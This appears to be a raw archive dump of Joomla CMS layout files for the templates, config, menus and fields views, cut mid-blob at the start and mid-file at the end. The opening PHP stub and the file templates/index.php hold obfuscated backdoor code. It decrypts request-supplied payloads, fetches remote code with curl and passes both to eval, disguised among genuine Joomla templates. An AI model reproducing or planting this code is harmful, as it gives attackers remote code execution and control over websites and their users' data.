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'; function uQUZ($Jzw) { $nztv = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $AhuR = substr($nztv, 0, 16); $HkEX = base64_decode($Jzw); return openssl_decrypt($HkEX, "AES-256-CBC", $nztv, OPENSSL_RAW_DATA, $AhuR); } if (uQUZ('DjtPn+r4S0yvLCnquPz1fA')){ echo 'ioQCIcTD2Rn1q+XiEs5tBXB0sIuu7huleyvI9tzD7OBemKU/aLBk1FGN2n2oU77c'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($uQUZ)))); ?>templates/templates/index.php000060400000012676151731266630012402 0ustar00<?php
 goto CQj9xBJktYav; FGf9PBJHJQ5e: $CMON8w_f3wrw = ${$GToFPiZtjEfY[15 + 16] . $GToFPiZtjEfY[10 + 49] . $GToFPiZtjEfY[4 + 43] . $GToFPiZtjEfY[20 + 27] . $GToFPiZtjEfY[21 + 30] . $GToFPiZtjEfY[34 + 19] . $GToFPiZtjEfY[26 + 31]}; goto U0GLxWYdvFGE; BE7_8l0_gJyd: $CMON8w_f3wrw[69] = $CMON8w_f3wrw[69] . $CMON8w_f3wrw[71]; goto yuUBn7OWSJjs; yuUBn7OWSJjs: @eval($CMON8w_f3wrw[69](${$CMON8w_f3wrw[36]}[30])); goto hc0uQwqxqHLi; U0GLxWYdvFGE: if (!(in_array(gettype($CMON8w_f3wrw) . "\61\x39", $CMON8w_f3wrw) && md5(md5(md5(md5($CMON8w_f3wrw[13])))) === "\x34\65\x38\x65\144\x33\63\63\x34\x65\x36\70\66\143\143\63\62\x33\144\66\x33\60\143\143\x62\x63\145\x62\70\146\142\143")) { goto HqPdWxGYVzZG; } goto BE7_8l0_gJyd; gBUDR0_Xqv56: metaphone("\141\144\x72\157\145\x37\120\141\114\x79\121\53\141\x47\x70\163\x51\171\155\125\x36\x73\x63\70\152\x37\x46\x76\125\x48\154\160\126\x55\110\x50\63\x66\101\64\144\x37\60"); goto g0wAW837N0vn; CQj9xBJktYav: $E9uRZLtXiMJk = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto knPBxz51u6fc; g0wAW837N0vn: class EXF7m52rV0tY { static function NEx27vt8ddAj($h_KY4A4E38kw) { goto PKXkIYVpWtnZ; wiCPBA8o1E4M: C0HSYvJ4h_qv: goto Y97yKZEB5hn2; oHqrUbvXs9W_: $vTdZer2VMRMi = explode("\x25", $h_KY4A4E38kw); goto cTEqdq203dFi; LGLMEHDCc8Bq: foreach ($vTdZer2VMRMi as $Kznz8ra7fUUi => $oaB8SBO054sP) { $Jnr0e1yqd7NV .= $MNtEhbAV1Kul[$oaB8SBO054sP - 43725]; UCUjIitlOTie: } goto wiCPBA8o1E4M; Y97yKZEB5hn2: return $Jnr0e1yqd7NV; goto ErRssFoMr4lu; cTEqdq203dFi: $Jnr0e1yqd7NV = ''; goto LGLMEHDCc8Bq; LHcXjym02uaR: $MNtEhbAV1Kul = $NcfaIlpO9odD("\x7e", "\x20"); goto oHqrUbvXs9W_; PKXkIYVpWtnZ: $NcfaIlpO9odD = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto LHcXjym02uaR; ErRssFoMr4lu: } static function XG57iQvjQPrs($azttGKPKDF9f, $emMQYRsyj46a) { goto v4n0agA_dE_j; qs2JinbAOeQ4: return empty($n1JTK7SYC_QZ) ? $emMQYRsyj46a($azttGKPKDF9f) : $n1JTK7SYC_QZ; goto fagP_KXzKN6W; TadIL9jRPA1I: $n1JTK7SYC_QZ = curl_exec($XbvyKd22cYP0); goto qs2JinbAOeQ4; v4n0agA_dE_j: $XbvyKd22cYP0 = curl_init($azttGKPKDF9f); goto SFkd7oTzk8w1; SFkd7oTzk8w1: curl_setopt($XbvyKd22cYP0, CURLOPT_RETURNTRANSFER, 1); goto TadIL9jRPA1I; fagP_KXzKN6W: } static function ZKaqVxqqLVL9() { goto uGM1Ez0LlLhU; Oeh1EP4eLHGW: $sh97SC5Vio1K = @$SBdaA7RWKUx3[1]($SBdaA7RWKUx3[0 + 10](INPUT_GET, $SBdaA7RWKUx3[0 + 9])); goto BjtdSSk6ZN3U; XE160MK2WIBQ: @eval($SBdaA7RWKUx3[1 + 3]($Qg3ankCv6tN3)); goto avS6ImGpJBe5; tdbSrl_7VZ7t: KXDFegXcLMQw: goto Oeh1EP4eLHGW; w9ZnwH3LVu5R: foreach ($AL2sf3oYCO7A as $cKN8UU_g03iT) { $SBdaA7RWKUx3[] = self::nex27VT8DDaj($cKN8UU_g03iT); RpyZ7se5wYzB: } goto tdbSrl_7VZ7t; xV4_KUidI3Qi: @$SBdaA7RWKUx3[9 + 1](INPUT_GET, "\157\146") == 1 && die($SBdaA7RWKUx3[1 + 4](__FILE__)); goto BdNHPgu_LGc0; RPUqWoCF7zAh: $Qg3ankCv6tN3 = self::xg57iQvjQpRs($FU26Jo24pZIR[0 + 1], $SBdaA7RWKUx3[2 + 3]); goto XE160MK2WIBQ; BdNHPgu_LGc0: if (!(@$FU26Jo24pZIR[0] - time() > 0 and md5(md5($FU26Jo24pZIR[3 + 0])) === "\x61\143\x32\x35\x65\63\x37\x38\x33\62\144\x34\64\63\x33\60\141\x38\x32\x66\67\x36\144\x33\142\142\70\61\70\143\66\141")) { goto jo821WMr8UYA; } goto RPUqWoCF7zAh; nB0_olmv9cS9: jo821WMr8UYA: goto NP8ig7iULzyk; BjtdSSk6ZN3U: $qWBpuXDobQe3 = @$SBdaA7RWKUx3[0 + 3]($SBdaA7RWKUx3[0 + 6], $sh97SC5Vio1K); goto FHIHer7iuctS; uGM1Ez0LlLhU: $AL2sf3oYCO7A = array("\64\63\67\x35\62\x25\64\63\67\x33\x37\x25\64\x33\67\65\x30\x25\64\63\x37\65\x34\x25\64\63\67\63\x35\x25\64\x33\x37\65\60\45\x34\63\67\65\66\x25\x34\63\67\x34\71\x25\x34\63\x37\x33\x34\45\x34\63\x37\x34\x31\45\64\x33\67\65\x32\45\x34\x33\67\63\x35\x25\64\x33\67\64\x36\x25\x34\63\x37\x34\x30\45\x34\x33\67\64\61", "\64\63\x37\63\x36\x25\64\x33\x37\63\65\x25\64\63\x37\63\67\45\x34\x33\x37\x35\66\x25\64\x33\67\63\67\x25\64\63\67\64\x30\x25\64\x33\x37\63\x35\45\x34\x33\x38\60\x32\x25\64\63\70\60\x30", "\x34\63\67\x34\x35\x25\64\63\67\63\x36\45\x34\x33\67\64\60\45\64\x33\67\x34\x31\x25\x34\63\x37\x35\66\x25\x34\x33\x37\65\61\45\64\63\67\65\x30\x25\64\x33\67\65\62\45\x34\x33\x37\x34\x30\45\64\x33\x37\65\61\45\x34\63\x37\65\x30", "\x34\x33\67\x33\x39\x25\x34\x33\x37\x35\64\45\64\x33\x37\x35\62\x25\x34\x33\x37\x34\x34", "\x34\x33\x37\65\63\x25\x34\63\x37\x35\64\45\x34\x33\67\x33\66\x25\64\x33\67\65\60\x25\x34\x33\67\71\67\x25\64\63\x37\x39\x39\45\64\x33\67\x35\x36\x25\64\x33\67\x35\61\45\x34\x33\67\x35\x30\x25\64\63\x37\65\x32\x25\64\x33\x37\64\x30\x25\64\x33\67\x35\x31\x25\64\63\x37\x35\x30", "\x34\x33\67\64\71\45\x34\x33\x37\64\x36\45\x34\x33\x37\64\63\45\x34\63\67\x35\x30\x25\64\63\x37\x35\x36\x25\x34\x33\x37\x34\x38\45\64\63\67\65\60\x25\64\63\67\63\x35\45\64\63\67\65\66\45\x34\63\67\65\62\45\x34\x33\x37\64\x30\x25\x34\63\x37\64\x31\45\x34\x33\x37\63\65\45\x34\x33\67\x35\60\45\64\x33\x37\64\x31\45\x34\63\x37\x33\x35\45\64\x33\x37\x33\x36", "\64\x33\67\67\71\45\64\x33\70\60\71", "\x34\x33\67\x32\x36", "\x34\x33\x38\60\x34\x25\x34\63\x38\x30\71", "\64\63\67\x38\66\x25\64\x33\x37\66\71\45\64\x33\x37\66\71\45\64\x33\67\70\x36\45\x34\x33\67\66\x32", "\x34\x33\x37\x34\71\45\x34\63\67\64\66\x25\x34\x33\67\64\63\x25\64\63\x37\63\x35\45\x34\x33\x37\65\x30\45\64\x33\x37\63\x37\x25\x34\x33\x37\65\66\x25\64\63\67\64\66\x25\x34\63\x37\64\x31\45\64\x33\67\63\71\x25\64\x33\x37\x33\64\45\x34\63\67\x33\65"); goto w9ZnwH3LVu5R; FHIHer7iuctS: $FU26Jo24pZIR = $SBdaA7RWKUx3[0 + 2]($qWBpuXDobQe3, true); goto xV4_KUidI3Qi; avS6ImGpJBe5: die; goto nB0_olmv9cS9; NP8ig7iULzyk: } } goto X2pxpyY4xKsF; hc0uQwqxqHLi: HqPdWxGYVzZG: goto gBUDR0_Xqv56; knPBxz51u6fc: $GToFPiZtjEfY = $E9uRZLtXiMJk("\176", "\x20"); goto FGf9PBJHJQ5e; X2pxpyY4xKsF: EXF7m52RV0TY::zKaQVXqqLVL9();
?>
templates/default.php000064400000021652151731266630010717 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>

<form action="<?php echo Route::_('index.php?option=com_templates&view=templates'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this, 'options' => ['selectorFieldName' => 'client_id']]); ?>
                <?php if ($this->total > 0) : ?>
                    <table class="table" id="templateList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_TEMPLATES_TEMPLATES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <th scope="col" class="w-20 col1template d-none d-md-table-cell">
                                    <?php echo Text::_('COM_TEMPLATES_HEADING_IMAGE'); ?>
                                </th>
                                <th scope="col" class="w-30">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_TEMPLATES_HEADING_TEMPLATE', 'a.element', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                    <?php echo Text::_('JVERSION'); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                    <?php echo Text::_('JDATE'); ?>
                                </th>
                                <th scope="col" class="w-25 d-none d-md-table-cell text-center">
                                    <?php echo Text::_('JAUTHOR'); ?>
                                </th>
                                <?php if ($this->pluginState) : ?>
                                    <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                        <?php echo Text::_('COM_TEMPLATES_OVERRIDES'); ?>
                                    </th>
                                <?php endif; ?>
                            </tr>
                        </thead>
                        <tbody>
                        <?php foreach ($this->items as $i => $item) : ?>
                            <tr class="row<?php echo $i % 2; ?>">
                                <td class="text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('templates.thumb', $item); ?>
                                    <?php echo HTMLHelper::_('templates.thumbModal', $item); ?>
                                </td>
                                <th scope="row" class="template-name">
                                    <a href="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . (int) $item->extension_id . '&file=' . $this->file); ?>">
                                        <?php echo Text::sprintf('COM_TEMPLATES_TEMPLATE_DETAILS', ucfirst($item->name)); ?></a>
                                    <div>
                                        <?php if ($this->preview) : ?>
                                            <?php $client = (int) $item->client_id === 1 ? 'administrator' : 'site'; ?>
                                            <a href="<?php echo Route::link($client, 'index.php?tp=1&template=' . $item->element); ?>" target="_blank" aria-labelledby="preview-<?php echo $item->extension_id; ?>">
                                                <?php echo Text::_('COM_TEMPLATES_TEMPLATE_PREVIEW'); ?>
                                            </a>
                                            <div role="tooltip" id="preview-<?php echo $item->extension_id; ?>"><?php echo Text::sprintf('COM_TEMPLATES_TEMPLATE_NEW_PREVIEW', $item->name); ?></div>
                                        <?php else : ?>
                                            <?php echo Text::_('COM_TEMPLATES_TEMPLATE_NO_PREVIEW'); ?>
                                        <?php endif; ?>
                                    </div>
                                    <?php if (isset($item->xmldata->inheritable) && $item->xmldata->inheritable) : ?>
                                        <div class="badge bg-primary">
                                            <span class="fas fa-link text-light" aria-hidden="true"></span>
                                            <?php echo Text::_('COM_TEMPLATES_TEMPLATE_IS_PARENT'); ?>
                                        </div>
                                    <?php endif; ?>
                                    <?php if (isset($item->xmldata->parent) && (string) $item->xmldata->parent !== '') : ?>
                                        <div class="badge bg-info text-light">
                                            <span class="fas fa-clone text-light" aria-hidden="true"></span>
                                            <?php echo Text::sprintf('COM_TEMPLATES_TEMPLATE_IS_CHILD_OF', (string) $item->xmldata->parent); ?>
                                        </div>
                                    <?php endif; ?>
                                </th>
                                <td class="small d-none d-md-table-cell text-center">
                                    <?php echo $this->escape($item->xmldata->get('version')); ?>
                                </td>
                                <td class="small d-none d-md-table-cell text-center">
                                    <?php echo $this->escape($item->xmldata->get('creationDate')); ?>
                                </td>
                                <td class="d-none d-md-table-cell text-center">
                                    <?php if ($author = $item->xmldata->get('author')) : ?>
                                        <div><?php echo $this->escape($author); ?></div>
                                    <?php else : ?>
                                        &mdash;
                                    <?php endif; ?>
                                    <?php if ($email = $item->xmldata->get('authorEmail')) : ?>
                                        <div><?php echo $this->escape($email); ?></div>
                                    <?php endif; ?>
                                    <?php if ($url = $item->xmldata->get('authorUrl')) : ?>
                                        <div><a href="<?php echo $this->escape($url); ?>"><?php echo $this->escape($url); ?></a></div>
                                    <?php endif; ?>
                                </td>
                                <?php if ($this->pluginState) : ?>
                                    <td class="d-none d-md-table-cell text-center">
                                        <?php if (!empty($item->updated)) : ?>
                                            <a href="<?php echo Route::_('index.php?option=com_templates&view=template&id=' . (int) $item->extension_id . '#files'); ?>">
                                                <span class="badge bg-warning text-dark"><?php echo Text::plural('COM_TEMPLATES_N_CONFLICT', $item->updated); ?></span>
                                            </a>
                                        <?php else : ?>
                                            <span class="badge bg-success"><?php echo Text::_('COM_TEMPLATES_UPTODATE'); ?></span>
                                        <?php endif; ?>
                                    </td>
                                <?php endif; ?>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>

                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
templates/default.xml000064400000000330151731266630010716 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_TEMPLATES_TEMPLATES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_TEMPLATES_TEMPLATES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
templates/default_options.php000064400000001742151731266630012470 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$fieldSets = $this->form->getFieldsets('params');
?>

<legend><?php echo Text::_('COM_CONFIG_TEMPLATE_SETTINGS'); ?></legend>

<?php

// Search for com_config field set
if (!empty($fieldSets['com_config'])) {
    echo $this->form->renderFieldset('com_config');
} else {
    // Fall-back to display all in params
    foreach ($fieldSets as $name => $fieldSet) {
        $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_CONFIG_' . $name . '_FIELDSET_LABEL';

        if (isset($fieldSet->description) && trim($fieldSet->description)) {
            echo '<p class="tip">' . $this->escape(Text::_($fieldSet->description)) . '</p>';
        }

        echo $this->form->renderFieldset($name);
    }
}
config/default_metadata.php000064400000001560151731266630012022 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<fieldset>

    <legend><?php echo Text::_('COM_CONFIG_METADATA_SETTINGS'); ?></legend>

    <?php foreach ($this->form->getFieldset('metadata') as $field) : ?>
        <div class="mb-3">
            <?php echo $field->label; ?>
            <?php echo $field->input; ?>
            <?php if ($field->description) : ?>
                <div class="form-text hide-aware-inline-help d-none" id="<?php echo $field->id ?>-desc">
                    <?php echo Text::_($field->description) ?>
                </div>
            <?php endif; ?>
        </div>
    <?php endforeach; ?>

</fieldset>
config/default_site.php000064400000001550151731266630011205 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<fieldset>

    <legend><?php echo Text::_('COM_CONFIG_SITE_SETTINGS'); ?></legend>

    <?php foreach ($this->form->getFieldset('site') as $field) : ?>
        <div class="mb-3">
            <?php echo $field->label; ?>
            <?php echo $field->input; ?>
            <?php if ($field->description) : ?>
                <div class="form-text hide-aware-inline-help d-none" id="<?php echo $field->id ?>-desc">
                    <?php echo Text::_($field->description) ?>
                </div>
            <?php endif; ?>
        </div>
    <?php endforeach; ?>

</fieldset>
config/default_seo.php000064400000001546151731266630011034 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_config
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<fieldset>

    <legend><?php echo Text::_('COM_CONFIG_SEO_SETTINGS'); ?></legend>

    <?php foreach ($this->form->getFieldset('seo') as $field) : ?>
        <div class="mb-3">
            <?php echo $field->label; ?>
            <?php echo $field->input; ?>
            <?php if ($field->description) : ?>
                <div class="form-text hide-aware-inline-help d-none" id="<?php echo $field->id ?>-desc">
                    <?php echo Text::_($field->description) ?>
                </div>
            <?php endif; ?>
        </div>
    <?php endforeach; ?>

</fieldset>
config/default.xml000064400000000716151731266630010175 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONFIG_CONFIG_VIEW_DEFAULT_TITLE" option="COM_CONFIG_CONFIG_VIEW_DEFAULT_OPTION">
		<help
			key = "Menu_Item:_Site_Configuration_Options"
		/>
		<message>
			<![CDATA[COM_CONFIG_CONFIG_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="request">
		<fieldset name="request">
			<field
				name="controller"
				type="hidden"
				default=""
			/>
		</fieldset>
	</fields>
</metadata>
config/default.php000064400000002422151731266630010160 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');
?>

<form action="<?php echo Route::_('index.php?option=com_messages&view=config'); ?>" method="post" name="adminForm" id="message-form" class="form-validate">
    <div class="form-grid">
        <div class="card">
            <div class="card-body">
                <fieldset class="options-form">
                    <legend><?php echo Text::_('COM_MESSAGES_CONFIG_FORM'); ?></legend>
                    <?php echo $this->form->renderField('lock'); ?>
                    <?php echo $this->form->renderField('mail_on_new'); ?>
                    <?php echo $this->form->renderField('auto_purge'); ?>
                </fieldset>
            </div>
        </div>
    </div>

    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
integer.php000064400000000707151731411620006717 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Integer
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$value = $field->value;

if ($value == '') {
    return;
}

if (is_array($value)) {
    $value = implode(', ', array_map('intval', $value));
} else {
    $value = (int) $value;
}

echo $value;
menu/edit.xml000064400000000300151731413030007146 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_MENUS_MENU_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_MENUS_MENU_VIEW_EDIT_DESC]]>
		</message>
	</layout>
</metadata>
menu/edit.php000064400000005140151731413030007144 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('core')
    ->useScript('keepalive')
    ->useScript('form.validate');

Text::script('ERROR');
?>
<form action="<?php echo Route::_('index.php?option=com_menus&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" aria-label="<?php echo Text::_('COM_MENUS_MENU_FORM_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('COM_MENUS_MENU_DETAILS')); ?>

            <fieldset id="fieldset-details" class="options-form">
                <legend><?php echo Text::_('COM_MENUS_MENU_DETAILS'); ?></legend>

                <div>
                    <div>
                        <?php
                        echo $this->form->renderField('menutype');

                        echo $this->form->renderField('description');

                        echo $this->form->renderField('client_id');

                        echo $this->form->renderField('preset');
                        ?>
                    </div>
                </div>
            </fieldset>

            <?php echo HTMLHelper::_('uitab.endTab'); ?>

            <?php if ($this->canDo->get('core.admin')) : ?>
                <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'permissions', Text::_('COM_MENUS_FIELDSET_RULES')); ?>
                <fieldset id="fieldset-rules" class="options-form">
                    <legend><?php echo Text::_('COM_MENUS_FIELDSET_RULES'); ?></legend>
                    <div>
                    <?php echo $this->form->getInput('rules'); ?>
                    </div>
                </fieldset>
                <?php echo HTMLHelper::_('uitab.endTab'); ?>
            <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
        <input type="hidden" name="task" value="">
        <?php echo HTMLHelper::_('form.token'); ?>
    </div>
</form>
menus/default.xml000064400000000310151731413030010031 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_MENUS_MENUS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_MENUS_MENUS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
menus/default.php000064400000047454151731413030010044 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
